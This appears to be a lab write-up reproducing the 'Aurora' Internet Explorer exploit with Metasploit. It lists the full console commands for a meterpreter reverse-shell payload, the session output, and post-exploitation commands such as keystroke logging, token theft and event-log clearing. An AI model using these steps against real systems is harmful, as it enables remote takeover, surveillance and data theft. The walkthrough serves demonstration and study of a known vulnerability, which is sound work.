Aurora attacks, which is known to be originated from china, is a major attack in the recent past which used an Internet explorer exploit code to attack companies like Google and Adobe and succeeded in stealing some intellectual properties.
According to Microsoft, The vulnerability exists as an invalid pointer reference within Internet Explorer. It is possible under certain conditions for the invalid pointer to be accessed after an object is deleted. In a specially-crafted attack, in attempting to access a freed object, Internet Explorer can be caused to allow remote code execution.
Vulnerability has been exploited on IE 6 till now and it can be exploited on IE 7 also, it’s not yet been done on IE 7 because of memory layout differences in IE 7.Exploit code has been published in the internet and can be used by anyone to craft similar attacks. Metasploit which is an open-source hacking tool has also released a working exploit of the attack which will be explained in detail in the last section.
We tried to reproduce the attack scenario using metasploit and were able to do it successfully. It was quite scary to see how the exploit works and how easy it is for a hacker to control the vulnerable system.
Software used for the attack and analysis:
We were able to setup metasploit in one VMware image to run as server to control the hacked system by issuing following commands:
msf > use exploit/windows/browser/ie_auroramsf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcpmsf exploit(ie_aurora) > set LHOST 192.168.1.30
LHOST => 192.168.1.30msf exploit(ie_aurora) > set LPORT 6666
LPORT => 6666msf exploit(ie_aurora) > set URIPATH /
URIPATH => /msf exploit(ie_aurora) > exploit
and this was the response which shows that the server was started
[*] Exploit running as background job.msf exploit(ie_aurora) >
[*] Started reverse handler on port 6666[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.30:8080/[*] Server started.
We then opened Internet explorer in the vulnerable system(Other VMware running win XP with SP2) and entered the IP address(192.168.1.30 in our case) of the server in the browser and got the following response at the server end:
[*] Sending Microsoft Internet Explorer "Aurora" Memory Corruption to client 192.168.1.57[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.1.30:6666 -> 192.168.1.57:1038)
We then had to issue following command to start communicating with the exploited system:
sessions -i 1[*] Starting interaction with 1...
Checked the ports on the exploited system and found the backdoor which was opened by the exploit. Screenshot of the backdoor can be found below:
The port opened by the internet explorer can be seen in the fig 1.1 which will be used as backdoor in this scenario.
There are no other indications to find out that the computer has been hacked and can be controlled from a remote server.
It’s really scary to see how a hacked computer can be controlled. An example of shell being controlled by the server can be seen below:
These are the following commands which can be used to control the hacked system including the command to take control of the shell.
Core Commands
=============
| Command | Description |
| ------- | ----------- |
| ? | Help menu |
| background | Backgrounds the current session |
| channel | Displays information about active channels |
| close | Closes a channel |
| exit | Terminate the meterpreter session |
| help | Help menu |
| interact | Interacts with a channel |
| irb | Drop into irb scripting mode |
| migrate | Migrate the server to another process |
| quit | Terminate the meterpreter session |
| read | Reads data from a channel |
| run | Executes a meterpreter script |
| use | Load a one or more meterpreter extensions |
| write | Writes data to a channel |
Stdapi: File system Commands
============================
| Command | Description |
| ------- | ----------- |
| cat | Read the contents of a file to the screen |
| cd | Change directory |
| del | Delete the specified file |
| download | Download a file or directory |
| edit | Edit a file |
| getlwd | Print local working directory |
| getwd | Print working directory |
| lcd | Change local working directory |
| lpwd | Print local working directory |
| ls | List files |
| mkdir | Make directory |
| pwd | Print working directory |
| rm | Delete the specified file |
| rmdir | Remove directory |
| upload | Upload a file or directory |
Stdapi: Networking Commands
===========================
| Command | Description |
| ------- | ----------- |
| ipconfig | Display interfaces |
| portfwd | Forward a local port to a remote service |
| route | View and modify the routing table |
Stdapi: System Commands
=======================
| Command | Description |
| ------- | ----------- |
| clearev | Clear the event log |
| drop_token | Relinquishes any active impersonation token. |
| execute | Execute a command |
| getpid | Get the current process identifier |
| getprivs | Get as many privileges as possible |
| getuid | Get the user that the server is running as |
| kill | Terminate a process |
| ps | List running processes |
| reboot | Reboots the remote computer |
| reg | Modify and interact with the remote registry |
| rev2self | Calls RevertToSelf() on the remote machine |
| shell | Drop into a system command shell |
| shutdown | Shuts down the remote computer |
| steal_token | Attempts to steal an impersonation token from the target process |
| sysinfo | Gets information about the remote system, such as OS |
Stdapi: User interface Commands
===============================
| Command | Description |
| ------- | ----------- |
| enumdesktops | List all accessible desktops and window stations |
| idletime | Returns the number of seconds the remote user has been idle |
| keyscan_dump | Dump they keystroke buffer |
| keyscan_start | Start capturing keystrokes |
| keyscan_stop | Stop capturing keystrokes |
| setdesktop | Move to a different workstation and desktop |
| uictl | Control some of the user interface components |
http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html
http://www.microsoft.com/technet/security/advisory/979352.mspx